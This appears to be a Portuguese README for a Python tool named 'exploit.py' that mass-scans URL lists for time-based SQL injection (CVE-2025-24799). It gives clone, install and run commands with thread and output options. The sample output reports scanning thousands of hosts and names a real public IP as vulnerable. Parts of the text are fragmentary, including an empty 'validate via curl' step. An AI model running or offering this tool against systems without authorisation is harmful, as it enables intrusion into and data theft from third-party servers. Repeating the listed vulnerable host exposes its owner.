
Scanner de SQLi CVE-2025-24799
Um scanner rápido de vulnerabilidade de injeção SQL construído com Python. Utiliza detecção de SQLi baseada em tempo com multithreading e saída colorida, projetado para testar vulnerabilidades CVE-2025-24799.
Clone o repositório:
git clone https://github.com/MuhammadWaseem29/CVE-2025-24799.git
cd CVE-2025-24799
Instale os pacotes necessários:
pip install requests colorama
Execute com Python 3:
python3 exploit.py -u http://example.com
Saída:
[VULN] http://example.com/index.php/ajax/ - Delay: 7.40s
python3 exploit.py -f urls.txt -t 15
Saída:
Scanning: 100/1000 (10.0%)
[VULN] http://example.com/index.php/ajax/ - Delay: 7.10s
python3 exploit.py -f urls.txt -o results.txt -t 10
Saída:
Scanning: 50/500 (10.0%)
[VULN] http://test.com/index.php/ajax/ - Delay: 7.20s
[+] Results saved to results.txt

Validar via curl

-u <URL>: URL única para escanear-f <ARQUIVO>: Arquivo com URLs (uma por linha)-o <ARQUIVO>: Salvar resultados em arquivo-t <NUM>: Número de threads (padrão: 10)╔════════════════════════════╗
║ Noob-Wasi SQLi Scanner ║
║ Coded by: Noob-Wasi ║
║ Version: 1.0 ║
╚════════════════════════════╝
Starting SQL injection scan...
Scanning: 200/3494 (5.7%)
[VULN] http://152.67.42.99/index.php/ajax/ - Delay: 7.40s
Scanning: 745/3494 (21.3%)
Scan completed!
-t) conforme seu sistema/redeAutor: Noob-Wasi
GitHub: github.com/MuhammadWaseem29